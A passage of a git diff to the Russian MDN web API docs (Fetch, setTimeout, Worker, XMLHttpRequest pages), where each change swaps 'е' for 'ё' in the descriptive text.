href="https://github.com/mdn/fetch-examples/tree/master/fetch-request">Fetch Request примере</a> (см. <a href="https://mdn.github.io/fetch-examples/fetch-request/">Fetch Request live</a>) мы создаём новый объект {{domxref("Request")}} (запроса), используя релевантный конструктор, а затем получаем его вызовом <code>fetch()</code>. Так как запрашиваемый ресурс - изображение, для того, чтобы присвоить ему подходящий MIME тип и обработать должным образом, мы применяем к ответу метод {{domxref("Body.blob()")}}, после чего создаём для него Object URL и передаём её в элемент {{htmlelement("img")}}.</p> <pre class="brush: js">var myImage = document.querySelector('img'); @@ -94,7 +94,7 @@ fetch(myRequest).then(function(response) { myImage.src = objectURL; });</pre> -<p>В нашем <a href="https://github.com/mdn/fetch-examples/blob/master/fetch-with-init-then-request/index.html">Fetch with init then Request примере</a> (см. <a href="https://mdn.github.io/fetch-examples/fetch-with-init-then-request/">Fetch Request init live</a>) мы делаем тоже самое, за исключением того, что передаем в качестве аргумента для <code>fetch()</code> объект init:</p> +<p>В нашем <a href="https://github.com/mdn/fetch-examples/blob/master/fetch-with-init-then-request/index.html">Fetch with init then Request примере</a> (см. <a href="https://mdn.github.io/fetch-examples/fetch-with-init-then-request/">Fetch Request init live</a>) мы делаем тоже самое, за исключением того, что передаём в качестве аргумента для <code>fetch()</code> объект init:</p> <pre class="brush: js">var myImage = document.querySelector('img'); diff --git a/files/ru/web/api/windoworworkerglobalscope/index.html b/files/ru/web/api/windoworworkerglobalscope/index.html index 8f38321cb1..0a7bacf45b 100644 --- a/files/ru/web/api/windoworworkerglobalscope/index.html +++ b/files/ru/web/api/windoworworkerglobalscope/index.html @@ -47,7 +47,7 @@ translation_of: Web/API/WindowOrWorkerGlobalScope <dt>{{domxref("WindowOrWorkerGlobalScope.atob()")}}</dt> <dd>Декодирует строку данных, которая была закодирована с использованием кодировки base-64.</dd> <dt>{{domxref("WindowOrWorkerGlobalScope.btoa()")}}</dt> - <dd>Создает ASCII строку в кодировке base-64 из строки бинарных данных.</dd> + <dd>Создаёт ASCII строку в кодировке base-64 из строки бинарных данных.</dd> <dt>{{domxref("WindowOrWorkerGlobalScope.clearInterval()")}}</dt> <dd>Отменяет набор для повторного выполнения, используя {{domxref("WindowOrWorkerGlobalScope.setInterval()")}}.</dd> <dt>{{domxref("WindowOrWorkerGlobalScope.clearTimeout()")}}</dt> diff --git a/files/ru/web/api/windoworworkerglobalscope/setinterval/index.html b/files/ru/web/api/windoworworkerglobalscope/setinterval/index.html index aa4ba76d3a..c77c422bf1 100644 --- a/files/ru/web/api/windoworworkerglobalscope/setinterval/index.html +++ b/files/ru/web/api/windoworworkerglobalscope/setinterval/index.html @@ -5,7 +5,7 @@ translation_of: Web/API/WindowOrWorkerGlobalScope/setInterval --- <div>{{APIRef("HTML DOM")}}</div> -<p><span class="seoSummary">Метод <strong><code>setInterval()</code></strong> предложен для {{domxref("Window")}} и {{domxref("Worker")}} интерфейсов. Он циклически вызывает функцию или участок кода с фиксированной паузой между каждым вызовом.</span> Уникальный идентификатор intervalID, возвращаемый методом, позволяет впоследствии удалить запущенный <span class="seoSummary"><strong><code>setInterval</code></strong></span> c помощью {{domxref("WindowOrWorkerGlobalScope.clearInterval", "clearInterval()")}}. Метод определен с помощью миксина {{domxref("WindowOrWorkerGlobalScope")}}.</p> +<p><span class="seoSummary">Метод <strong><code>setInterval()</code></strong> предложен для {{domxref("Window")}} и {{domxref("Worker")}} интерфейсов. Он циклически вызывает функцию или участок кода с фиксированной паузой между каждым вызовом.</span> Уникальный идентификатор intervalID, возвращаемый методом, позволяет впоследствии удалить запущенный <span class="seoSummary"><strong><code>setInterval</code></strong></span> c помощью {{domxref("WindowOrWorkerGlobalScope.clearInterval", "clearInterval()")}}. Метод определён с помощью миксина {{domxref("WindowOrWorkerGlobalScope")}}.</p> <h2 id="Синтаксис">Синтаксис</h2> diff --git a/files/ru/web/api/windoworworkerglobalscope/settimeout/index.html b/files/ru/web/api/windoworworkerglobalscope/settimeout/index.html index 8c115986b0..cd1851db1e 100644 --- a/files/ru/web/api/windoworworkerglobalscope/settimeout/index.html +++ b/files/ru/web/api/windoworworkerglobalscope/settimeout/index.html @@ -31,7 +31,7 @@ original_slug: Web/API/WindowTimers/setTimeout <h2 id="Example" name="Example">Пример</h2> -<p>В следующем примере на веб странице создаются две простые кнопки, к которым привязываются действия setTimeout и clearTimeout. Нажатие на первую кнопку установит таймаут, который вызовет диалоговое окно через две секунды. Также будет сохранен id для clearTimeout. Таймаут также может быть отменен по нажатию на вторую кнопку.</p> +<p>В следующем примере на веб странице создаются две простые кнопки, к которым привязываются действия setTimeout и clearTimeout. Нажатие на первую кнопку установит таймаут, который вызовет диалоговое окно через две секунды. Также будет сохранён id для clearTimeout. Таймаут также может быть отменён по нажатию на вторую кнопку.</p> <h3 id="HTML_Content">HTML Content</h3> @@ -143,7 +143,7 @@ var a=[].slice.call(arguments,2);return f(function(){c.apply(this,a)},t)} <h2 id="Проблема_с_this">Проблема с "<code>this</code>"</h2> -<p>Когда вы передаете метод в <code>setTimeout()</code> (или в любую другую функцию, если на то пошло), то вызов будет осуществлен с неправильным значением <code>this</code>. Эта проблема разъясняется детально в <a href="/en-US/docs/JavaScript/Reference/Operators/this#Method_binding" title="en-US/docs/Core_JavaScript_1.5_Reference/Operators/Special_Operators/this_Operator#Method_binding">JavaScript reference</a>.</p> +<p>Когда вы передаёте метод в <code>setTimeout()</code> (или в любую другую функцию, если на то пошло), то вызов будет осуществлён с неправильным значением <code>this</code>. Эта проблема разъясняется детально в <a href="/en-US/docs/JavaScript/Reference/Operators/this#Method_binding" title="en-US/docs/Core_JavaScript_1.5_Reference/Operators/Special_Operators/this_Operator#Method_binding">JavaScript reference</a>.</p> <h3 id="Объяснение">Объяснение</h3> diff --git a/files/ru/web/api/worker/onmessage/index.html b/files/ru/web/api/worker/onmessage/index.html index 86db26c45f..c51c30e041 100644 --- a/files/ru/web/api/worker/onmessage/index.html +++ b/files/ru/web/api/worker/onmessage/index.html @@ -5,7 +5,7 @@ translation_of: Web/API/Worker/onmessage --- <p>{{APIRef("Web Workers API")}}</p> -<p>Свойство <strong><code>onmessage</code></strong> интерфейса {{domxref("Worker")}} представляет собой обработчик {{domxref("EventHandler")}}, который будет вызван когда произойдет событие {{event("message")}}. Тип этого события {{domxref("MessageEvent")}} и оно будет вызвано когда worker-объект получит сообщение из выполняемого им кода (т.е из метода {{domxref("DedicatedWorkerGlobalScope.postMessage")}} .</p> +<p>Свойство <strong><code>onmessage</code></strong> интерфейса {{domxref("Worker")}} представляет собой обработчик {{domxref("EventHandler")}}, который будет вызван когда произойдёт событие {{event("message")}}. Тип этого события {{domxref("MessageEvent")}} и оно будет вызвано когда worker-объект получит сообщение из выполняемого им кода (т.е из метода {{domxref("DedicatedWorkerGlobalScope.postMessage")}} .</p> <div class="note"> <p><span style="font-size: 14px; line-height: 21px;"><strong>Примечание</strong></span>: Данные события доступны в свойстве data события {{event("message")}}.</p> diff --git a/files/ru/web/api/worker/postmessage/index.html b/files/ru/web/api/worker/postmessage/index.html index 47ea7ce99f..6523a0cb64 100644 --- a/files/ru/web/api/worker/postmessage/index.html +++ b/files/ru/web/api/worker/postmessage/index.html @@ -27,7 +27,7 @@ translation_of: Web/API/Worker/postMessage <dt><em>message</em></dt> <dd><code>Object</code> передаваемый в <code>worker</code>. Будет содержаться в поле <code>data</code> описания события обработчика {{domxref("DedicatedWorkerGlobalScope.onmessage")}}. Это может быть любое значение или объект JavaScript, которые может обработать алгоритм структурированного клонирования, поддерживающий циклические ссылки.</dd> <dt><em>transfer</em> {{optional_inline}}</dt> - <dd>Необязательный <code><a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/Array">array</a></code> с передаваемыми ({{domxref("Transferable")}}) объектами (из тех, что были указаны в <code>message</code>) на которые передаются права собственности. Если право на объект передается, он становится непригодным (<em>neutered</em>) в контексте, из которого был отправлен, и становится доступным только в <code>worker</code>, которому он был отправлен.</dd> + <dd>Необязательный <code><a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/Array">array</a></code> с передаваемыми ({{domxref("Transferable")}}) объектами (из тех, что были указаны в <code>message</code>) на которые передаются права собственности. Если право на объект передаётся, он становится непригодным (<em>neutered</em>) в контексте, из которого был отправлен, и становится доступным только в <code>worker</code>, которому он был отправлен.</dd> <dd>Переданные (<code>transferable</code>) объекты могут быть экземплярами классов {{domxref("ArrayBuffer")}}, {{domxref("MessagePort")}} или {{domxref("ImageBitmap")}}. null не является допустимым значением для передачи прав.</dd> </dl> @@ -60,7 +60,7 @@ second.onchange = function() { <h3 id="Пример_с_Transfer">Пример с Transfer</h3> -<p>В этом примере показано дополнение Firefox, которое передает <code>ArrayBuffer</code> из основного потока в <code>ChromeWorker</code>, а затем <code>ChromeWorker</code> передает его обратно в основной поток.</p> +<p>В этом примере показано дополнение Firefox, которое передаёт <code>ArrayBuffer</code> из основного потока в <code>ChromeWorker</code>, а затем <code>ChromeWorker</code> передаёт его обратно в основной поток.</p> <h4 id="Код_основного_потока">Код основного потока:</h4> @@ -86,7 +86,7 @@ console.info('arrBuf.byteLength, ДО передачи:', arrBuf.byteLength); myWorker.postMessage( { aTopic: 'do_sendWorkerArrBuff', - aBuf: arrBuf // буфер который передается 3 строками ниже + aBuf: arrBuf // буфер который передаётся 3 строками ниже }, [ arrBuf // буфер созданный на строке 9 @@ -150,7 +150,7 @@ arrBuf.byteLength, ПОСЛЕ передачи: 0 boo <h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2> -<div class="hidden">Таблица совместимости на этой странице создается из структурированных данных. Если вы хотите внести свой вклад в данные, пожалуйста, проверьте <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам запрос.</div> +<div class="hidden">Таблица совместимости на этой странице создаётся из структурированных данных. Если вы хотите внести свой вклад в данные, пожалуйста, проверьте <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам запрос.</div> <p>{{Compat("api.Worker.postMessage")}}</p> diff --git a/files/ru/web/api/worker/terminate/index.html b/files/ru/web/api/worker/terminate/index.html index 68c93a7b08..21682c32ce 100644 --- a/files/ru/web/api/worker/terminate/index.html +++ b/files/ru/web/api/worker/terminate/index.html @@ -13,7 +13,7 @@ translation_of: Web/API/Worker/terminate --- <p>{{APIRef("Web Workers API")}}</p> -<p>Метод <code><strong>terminate()</strong></code> интерфейса {{domxref("Worker")}} немедленно завершает работу <code>worker</code>. Работнику не дается возможность завершить свою работу, он останавливается сразу.</p> +<p>Метод <code><strong>terminate()</strong></code> интерфейса {{domxref("Worker")}} немедленно завершает работу <code>worker</code>. Работнику не даётся возможность завершить свою работу, он останавливается сразу.</p> <h2 id="Синтаксис">Синтаксис</h2> @@ -55,7 +55,7 @@ myWorker.terminate(); <h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2> -<div class="hidden">Таблица совместимости на этой странице создается из структурированных данных. Если вы хотите внести свой вклад в данные, пожалуйста, проверьте <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам запрос.</div> +<div class="hidden">Таблица совместимости на этой странице создаётся из структурированных данных. Если вы хотите внести свой вклад в данные, пожалуйста, проверьте <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам запрос.</div> <p>{{Compat("api.Worker.terminate")}}</p> diff --git a/files/ru/web/api/worker/worker/index.html b/files/ru/web/api/worker/worker/index.html index 625841b703..0c7a6fcbe2 100644 --- a/files/ru/web/api/worker/worker/index.html +++ b/files/ru/web/api/worker/worker/index.html @@ -13,7 +13,7 @@ translation_of: Web/API/Worker/Worker --- <p>{{APIRef("Web Workers API")}}</p> -<p>Конструктор <code><strong>Worker()</strong></code> создает объект {{domxref ("Worker")}}, который выполняет скрипт по указанному URL-адресу. Этот скрипт должен подчиняться политике одного источника (<a href="/en/Same_origin_policy_for_JavaScript" title="Same origin policy for JavaScript">same-origin policy</a>).</p> +<p>Конструктор <code><strong>Worker()</strong></code> создаёт объект {{domxref ("Worker")}}, который выполняет скрипт по указанному URL-адресу. Этот скрипт должен подчиняться политике одного источника (<a href="/en/Same_origin_policy_for_JavaScript" title="Same origin policy for JavaScript">same-origin policy</a>).</p> <p>Если URL имеет недопустимый синтаксис или нарушена политика одного источника, то будет вызвано {{domxref("DOMException")}} типа <code>SECURITY_ERR</code>.</p> diff --git a/files/ru/web/api/workerglobalscope/importscripts/index.html b/files/ru/web/api/workerglobalscope/importscripts/index.html index ef51b14243..bb59c304c6 100644 --- a/files/ru/web/api/workerglobalscope/importscripts/index.html +++ b/files/ru/web/api/workerglobalscope/importscripts/index.html @@ -14,7 +14,7 @@ self.importScripts('foo.js', 'bar.js', ...);</pre> <h3 id="Параметры">Параметры</h3> -<p><span class="tlid-translation translation" lang="ru"><span title="">Разделенный запятыми объект </span></span>{{domxref("DOMString")}} скриптов, которые должны быть импортированы. Пути к скриптам указываются относительно URL HTML документа.</p> +<p><span class="tlid-translation translation" lang="ru"><span title="">Разделённый запятыми объект </span></span>{{domxref("DOMString")}} скриптов, которые должны быть импортированы. Пути к скриптам указываются относительно URL HTML документа.</p> <h3 id="Возвращаемое_значение">Возвращаемое значение</h3> @@ -39,7 +39,7 @@ self.importScripts('foo.js', 'bar.js', ...);</pre> <h2 id="Пример">Пример</h2> -<p>Если вы хотите использовать некоторую функциональность, определенную файлом <code>foo.js</code>, необходимо сделать следующее:</p> +<p>Если вы хотите использовать некоторую функциональность, определённую файлом <code>foo.js</code>, необходимо сделать следующее:</p> <pre class="brush: js notranslate">importScripts('foo.js');</pre> diff --git a/files/ru/web/api/xmlhttprequest/index.html b/files/ru/web/api/xmlhttprequest/index.html index 8ad7841fec..ad4b1b2090 100644 --- a/files/ru/web/api/xmlhttprequest/index.html +++ b/files/ru/web/api/xmlhttprequest/index.html @@ -19,7 +19,7 @@ translation_of: Web/API/XMLHttpRequest <p><code>XMLHttpRequest</code> это API, который предоставляет клиенту функциональность для обмена данными между клиентом и сервером. Данный API предоставляет простой способ получения данных по ссылке без перезагрузки страницы. Это позволяет обновлять только часть веб-страницы не прерывая пользователя. <code>XMLHttpRequest используется в AJAX запросах и особенно в single-page приложениях.</code></p> -<p>XMLHttpRequest изначально был разработан Microsoft и позже заимствован Mozilla, Apple, и Google. Сейчас он <a href="https://xhr.spec.whatwg.org/">стандартизирован WHATWG</a>. Несмотря на свое название, <code>XMLHttpRequest</code> может быть использован для получения любых типов данных, не только XML, и поддерживает протоколы помимо <a href="https://developer.mozilla.org/ru/docs/Web/HTTP">HTTP</a> (включая <code>file</code> и <a href="https://developer.mozilla.org/ru/docs/Словарь/FTP">ftp</a>).</p> +<p>XMLHttpRequest изначально был разработан Microsoft и позже заимствован Mozilla, Apple, и Google. Сейчас он <a href="https://xhr.spec.whatwg.org/">стандартизирован WHATWG</a>. Несмотря на своё название, <code>XMLHttpRequest</code> может быть использован для получения любых типов данных, не только XML, и поддерживает протоколы помимо <a href="https://developer.mozilla.org/ru/docs/Web/HTTP">HTTP</a> (включая <code>file</code> и <a href="https://developer.mozilla.org/ru/docs/Словарь/FTP">ftp</a>).</p> <p>Чтобы начать работать с <code>XMLHttpRequest</code>, выполните этот код:</p> @@ -92,7 +92,7 @@ translation_of: Web/API/XMLHttpRequest </td> <td><code>Function?</code></td> <td> - <p>Callback - функция, которая вызывается всякий раз, когда поле <code>readyState меняет свое значение</code>. Callback выполняется в потоке работы приложения.</p> + <p>Callback - функция, которая вызывается всякий раз, когда поле <code>readyState меняет своё значение</code>. Callback выполняется в потоке работы приложения.</p> <div class="warning"><strong>Внимание:</strong> Он не должен использоваться в синхронных запросах, и не должен выполняться из нативного кода (? must not be used from native code).</div> </td> @@ -113,7 +113,7 @@ translation_of: Web/API/XMLHttpRequest <tr> <td><code>0</code></td> <td><code>UNSENT</code></td> - <td>Клиент создан. Метод <code>open()</code> еще не вызван.</td> + <td>Клиент создан. Метод <code>open()</code> ещё не вызван.</td> </tr> <tr> <td><code>1</code></td> @@ -143,13 +143,13 @@ translation_of: Web/API/XMLHttpRequest <td><code>response</code></td> <td>varies</td> <td> - <p>Тело сущности запроса. Согласно полю <code><a href="#responseType">responseType</a></code>, может быть <a href="/en/JavaScript_typed_arrays/ArrayBuffer" title="en/JavaScript typed arrays/ArrayBuffer"><code>ArrayBuffer</code></a>, <a href="/en/DOM/Blob" title="en/DOM/Blob"><code>Blob</code></a>, {{ domxref("Document") }}, JavaScript объектом (для "json"), или строкой. Равно <code>null</code> если запрос не завершен или окончен с ошибкой.</p> + <p>Тело сущности запроса. Согласно полю <code><a href="#responseType">responseType</a></code>, может быть <a href="/en/JavaScript_typed_arrays/ArrayBuffer" title="en/JavaScript typed arrays/ArrayBuffer"><code>ArrayBuffer</code></a>, <a href="/en/DOM/Blob" title="en/DOM/Blob"><code>Blob</code></a>, {{ domxref("Document") }}, JavaScript объектом (для "json"), или строкой. Равно <code>null</code> если запрос не завершён или окончен с ошибкой.</p> </td> </tr> <tr id="responseText"> <td><code>responseText</code> {{ReadOnlyInline()}}</td> <td><code>DOMString</code></td> - <td>Ответ на запрос в виде строки или <code>null</code> в случае если запрос не успешен или ответ еще не получен.</td> + <td>Ответ на запрос в виде строки или <code>null</code> в случае если запрос не успешен или ответ ещё не получен.</td> </tr> <tr id="responseType"> <td><code>responseType</code></td> @@ -181,7 +181,7 @@ translation_of: Web/API/XMLHttpRequest </tr> <tr> <td><code>"json"</code></td> - <td>JavaScript объект, полученный путем парсинга JSON строки, полученной с сервера.</td> + <td>JavaScript объект, полученный путём парсинга JSON строки, полученной с сервера.</td> </tr> <tr> <td><code>"text"</code></td> @@ -240,7 +240,7 @@ translation_of: Web/API/XMLHttpRequest <td><code>timeout</code></td> <td><code>unsigned long</code></td> <td> - <p>Время в миллисекундах, после которого запрос будет отменен. Значение 0 (по умолчанию) значит что таймаута не будет. Никогда.</p> + <p>Время в миллисекундах, после которого запрос будет отменён. Значение 0 (по умолчанию) значит что таймаута не будет. Никогда.</p> <div class="note"><strong>Примечание:</strong> Вы можете не использовать поле timeout для синхронных запросов из owning window.</div> </td> @@ -339,9 +339,9 @@ translation_of: Web/API/XMLHttpRequest <h3 id="XMLHttpRequest()" name="XMLHttpRequest()">XMLHttpRequest()</h3> -<p>Конструктор создает объект XMLHttpRequest. Он должен быть вызван перед обращением к любому методу класса.</p> +<p>Конструктор создаёт объект XMLHttpRequest. Он должен быть вызван перед обращением к любому методу класса.</p> -<p>Gecko/Firefox 16 добавляет нестандартные параметры в конструктор, для лучшего взаимодействия с режимом инкогнито, (смотри <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=692677" title="692677 – Relax same-origin XHR restrictions for privileged applications">Bug 692677</a>). Установка флага <code>mozAnon</code> в значение <code>true</code> создает сущность <a href="http://www.w3.org/TR/2012/WD-XMLHttpRequest-20120117/#dom-anonxmlhttprequest" title="see AnonXMLHttpRequest in the XMLHttpRequest specification"><code>AnonXMLHttpRequest()</code></a> описанную в XMLHttpRequest спецификации, но не реализованную не в одном из браузеров (информация сентября 2012).</p> +<p>Gecko/Firefox 16 добавляет нестандартные параметры в конструктор, для лучшего взаимодействия с режимом инкогнито, (смотри <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=692677" title="692677 – Relax same-origin XHR restrictions for privileged applications">Bug 692677</a>). Установка флага <code>mozAnon</code> в значение <code>true</code> создаёт сущность <a href="http://www.w3.org/TR/2012/WD-XMLHttpRequest-20120117/#dom-anonxmlhttprequest" title="see AnonXMLHttpRequest in the XMLHttpRequest specification"><code>AnonXMLHttpRequest()</code></a> описанную в XMLHttpRequest спецификации, но не реализованную не в одном из браузеров (информация сентября 2012).</p> <pre>XMLHttpRequest ( JSObject objParameters @@ -354,7 +354,7 @@ translation_of: Web/API/XMLHttpRequest <dd>Вы можете использовать два флага: <dl> <dt><code>mozAnon</code></dt> - <dd>Boolean: Использование этого флага уберет из запроса заголовки origin, и <a href="http://www.w3.org/TR/2012/WD-XMLHttpRequest-20120117/#user-credentials" title="Defintion of “User credentials” in the XMLHttpRequest specification.">user credentials</a>. Кроме этого, куки не будут отправлены в запросе, если только они не будут добавлены к запросу специально, через метод setRequestHeader.</dd> + <dd>Boolean: Использование этого флага уберёт из запроса заголовки origin, и <a href="http://www.w3.org/TR/2012/WD-XMLHttpRequest-20120117/#user-credentials" title="Defintion of “User credentials” in the XMLHttpRequest specification.">user credentials</a>. Кроме этого, куки не будут отправлены в запросе, если только они не будут добавлены к запросу специально, через метод setRequestHeader.</dd> <dt><code>mozSystem</code></dt> <dd>Boolean: Если выставить этот флаг в значение <code>true</code> то это позволит делать cross-доменные запросы без необходимости получения специальных заголовков со стороны сервера (CORS). Для использования этого флага необходимо использовать дополнительный флаг<em> <code>mozAnon: true</code>, поскольку для отправки запроса на другой домен, нельзя использовать куки и креды пользователя. Этот флаг <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=692677#c68" title="Bug 692677 comment 68">работает только с привилегированными (одобренными) приложениями</a>; он не сработает с произвольно загруженными страницами.</em></dd> </dl> @@ -380,7 +380,7 @@ translation_of: Web/API/XMLHttpRequest <p>Возвращает значение указанного заголовка из полученного ответа, или <code>null</code> в случает если ответ не получен, или такого заголовка в ответе нет. Возвращаемая строка имеет кодировку UTF.</p> <div class="note"> -<p><code><strong>Примечание: </strong>Если в ответе есть заголовки с одни названием, то значения этих заголовков будут объеденены в одну строку, разделенную запятой и пробелом.</code></p> +<p><code><strong>Примечание: </strong>Если в ответе есть заголовки с одни названием, то значения этих заголовков будут объеденены в одну строку, разделённую запятой и пробелом.</code></p> </div> <h3 id="open()" name="open()">open()</h3> @@ -406,7 +406,7 @@ translation_of: Web/API/XMLHttpRequest <dt><code>url</code></dt> <dd>URL адрес, на который будет отправлено сообщение.</dd> <dt><code>async</code></dt> - <dd>Необязательный boolean параметр, по умолчанию равный <code>true. Определяет, будет ли запрос отправлен асинхронно. Если значение равно</code> <code>false</code>, метод <code>send() вернет ответ в общем потоке работы приложения (иначе говоря, приложение зависнет на некоторое время), в противном случае, ответ может быть получен только при помощи определенных </code> обработчиков событий. В случае, если используется отправка <code>multipart</code> запроса, то этот атрибут <strong>должен </strong>быть <code>true</code>, или будет выброшено исключение. + <dd>Необязательный boolean параметр, по умолчанию равный <code>true. Определяет, будет ли запрос отправлен асинхронно. Если значение равно</code> <code>false</code>, метод <code>send() вернёт ответ в общем потоке работы приложения (иначе говоря, приложение зависнет на некоторое время), в противном случае, ответ может быть получен только при помощи определённых </code> обработчиков событий. В случае, если используется отправка <code>multipart</code> запроса, то этот атрибут <strong>должен </strong>быть <code>true</code>, или будет выброшено исключение. <div class="note"><strong>Примечание:</strong> Начиная с Gecko 30.0 {{ geckoRelease("30.0") }}, синхронные запросы объявлены как deprecated, в силу того что все пользователи недовольны тем, что приложение "зависает".</div> </dd> <dt><code>user</code></dt> @@ -423,13 +423,13 @@ translation_of: Web/API/XMLHttpRequest <h3 id="send()" name="send()">send()</h3> -<p>Отправляет запрос. Если запрос асинхронный (а по умолчанию это так), этот метод вернет значение сразу после того как метод вызван.</p> +<p>Отправляет запрос. Если запрос асинхронный (а по умолчанию это так), этот метод вернёт значение сразу после того как метод вызван.</p> <div class="note"> -<p><strong>Примечание переводчика: </strong>в этом случае, в ответе не будет содержаться информации, которая пришла с сервера, поскольку она еще не пришла. Для того чтобы получить эту информацию, нужно слушать события загрузки, или использовать promise.</p> +<p><strong>Примечание переводчика: </strong>в этом случае, в ответе не будет содержаться информации, которая пришла с сервера, поскольку она ещё не пришла. Для того чтобы получить эту информацию, нужно слушать события загрузки, или использовать promise.</p> </div> -<p>Если запрос синхронный, то метод вернет значение только после того, как придет запрос от сервера.</p> +<p>Если запрос синхронный, то метод вернёт значение только после того, как придёт запрос от сервера.</p> <div class="note"><strong>Примечание:</strong> все необходимые обработчики событий должны быть установлены перед вызовом <code>send()</code>.</div> @@ -510,7 +510,7 @@ void send(FormData <var>data</var>);</pre> <p>Вариант метода <code>send()</code> который посылает бинарные данные.</p> -<div class="note"><strong>Примечание:</strong> Этот нестандартный метод считается устарелым по состоянию на Gecko 31 {{ geckoRelease(31) }}, и со временем будет удален. Взамен может использоваться стандарт метода <code>send(Blob data).</code> </div> +<div class="note"><strong>Примечание:</strong> Этот нестандартный метод считается устарелым по состоянию на Gecko 31 {{ geckoRelease(31) }}, и со временем будет удалён. Взамен может использоваться стандарт метода <code>send(Blob data).</code> </div> <pre>void sendAsBinary( in DOMString body diff --git a/files/ru/web/api/xmlhttprequest/response/index.html b/files/ru/web/api/xmlhttprequest/response/index.html index 383596f34d..7c07373f4f 100644 --- a/files/ru/web/api/xmlhttprequest/response/index.html +++ b/files/ru/web/api/xmlhttprequest/response/index.html @@ -20,9 +20,9 @@ translation_of: Web/API/XMLHttpRequest/response <p> </p> -<p>Соответствующий объект, основанный на значении <code>responseType</code>. Вы можете попытаться запросить данные в определенном формате, установив значение <code>responseType</code> после вызова <code>open()</code> для инициализации запроса, но перед вызовом <code>send()</code> для отправки запроса на сервер.</p> +<p>Соответствующий объект, основанный на значении <code>responseType</code>. Вы можете попытаться запросить данные в определённом формате, установив значение <code>responseType</code> после вызова <code>open()</code> для инициализации запроса, но перед вызовом <code>send()</code> для отправки запроса на сервер.</p> -<p>Значение равно <code>null</code>, если запрос еще не завершен или был неудачным, за исключением того, что при чтении текстовых данных с использованием <code>responseType "text"</code> или пустой строки (<code>""</code>), ответ может содержать ответ до тех пор, пока запрос все еще находится в состоянии <code>LOADING readyState (3)</code>.</p> +<p>Значение равно <code>null</code>, если запрос ещё не завершён или был неудачным, за исключением того, что при чтении текстовых данных с использованием <code>responseType "text"</code> или пустой строки (<code>""</code>), ответ может содержать ответ до тех пор, пока запрос все ещё находится в состоянии <code>LOADING readyState (3)</code>.</p> <p>Типы ответов описаны ниже.</p> @@ -58,7 +58,7 @@ translation_of: Web/API/XMLHttpRequest/response </tr> <tr> <td><code>"json"</code></td> - <td><code>response</code> является JavaScript object, созданный путем анализа содержимого полученных данных как <a href="https://developer.mozilla.org/en-US/docs/Glossary/JSON" title="JSON: JavaScript Object Notation (JSON) is a data-interchange format. Although not a strict subset, JSON closely resembles a subset of JavaScript syntax. Though many programming languages support JSON, JSON is especially useful for JavaScript-based apps, including websites and browser extensions.">JSON</a>.</td> + <td><code>response</code> является JavaScript object, созданный путём анализа содержимого полученных данных как <a href="https://developer.mozilla.org/en-US/docs/Glossary/JSON" title="JSON: JavaScript Object Notation (JSON) is a data-interchange format. Although not a strict subset, JSON closely resembles a subset of JavaScript syntax. Though many programming languages support JSON, JSON is especially useful for JavaScript-based apps, including websites and browser extensions.">JSON</a>.</td> </tr> <tr> <td><code>"text"</code></td> @@ -78,7 +78,7 @@ translation_of: Web/API/XMLHttpRequest/response </tr> <tr> <td><code>"ms-stream"</code> </td> - <td><code>response</code> является частью потоковой загрузки; этот тип ответа разрешен только для запросов на загрузку и поддерживается только Internet Explorer.</td> + <td><code>response</code> является частью потоковой загрузки; этот тип ответа разрешён только для запросов на загрузку и поддерживается только Internet Explorer.</td> </tr> </tbody> </table> @@ -89,7 +89,7 @@ translation_of: Web/API/XMLHttpRequest/response <p> </p> -<p>В этом примере представлена функция <code>load()</code>, которая загружает и обрабатывает страницу с сервера. Он работает путем создания объекта <a href="https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest" title="Use XMLHttpRequest (XHR) objects to interact with servers. You can retrieve data from a URL without having to do a full page refresh. This enables a Web page to update just part of a page without disrupting what the user is doing."><code>XMLHttpRequest</code></a> и создания обработчика события с событием <code>readystatechange</code>, чтобы при изменении <code>readyState </code>на <code>DONE (4)</code> <code>response</code> получался и передавался в колбэк-функцию, предоставляемую <code>load()</code>.</p> +<p>В этом примере представлена функция <code>load()</code>, которая загружает и обрабатывает страницу с сервера. Он работает путём создания объекта <a href="https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest" title="Use XMLHttpRequest (XHR) objects to interact with servers. You can retrieve data from a URL without having to do a full page refresh. This enables a Web page to update just part of a page without disrupting what the user is doing."><code>XMLHttpRequest</code></a> и создания обработчика события с событием <code>readystatechange</code>, чтобы при изменении <code>readyState </code>на <code>DONE (4)</code> <code>response</code> получался и передавался в колбэк-функцию, предоставляемую <code>load()</code>.</p> <p>Содержимое обрабатывается как необработанные текстовые данные (поскольку здесь ничто не переопределяет <a href="https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest/responseType" title="The XMLHttpRequest property responseType is an enumerated string value specifying the type of data contained in the response."><code>responseType</code></a> по умолчанию).</p> diff --git a/files/ru/web/api/xmlhttprequest/responsetext/index.html b/files/ru/web/api/xmlhttprequest/responsetext/index.html index 67421dc290..d80a4572c0 100644 --- a/files/ru/web/api/xmlhttprequest/responsetext/index.html +++ b/files/ru/web/api/xmlhttprequest/responsetext/index.html @@ -15,9 +15,9 @@ translation_of: Web/API/XMLHttpRequest/responseText <h3 id="Значение">Значение</h3> -<p>Строка {{domxref("DOMString")}} содержащая либо <code>текстовые данные, </code>полученные при использовании <code>XMLHttpRequest, либо</code> <code>null</code> в случае, когда вопрос возвратил ошибку, или же еще не был отослан на сервер вызовом функции {{domxref("XMLHttpRequest.send", "send()")}}.</p> +<p>Строка {{domxref("DOMString")}} содержащая либо <code>текстовые данные, </code>полученные при использовании <code>XMLHttpRequest, либо</code> <code>null</code> в случае, когда вопрос возвратил ошибку, или же ещё не был отослан на сервер вызовом функции {{domxref("XMLHttpRequest.send", "send()")}}.</p> -<p>Во время выполнения асинхронных запросов, в значении <code>responseText</code> всегда находится текущее содержимое, полученное от сервера, даже если запрос еще не завершен, и данные от сервера не получены полностью.</p> +<p>Во время выполнения 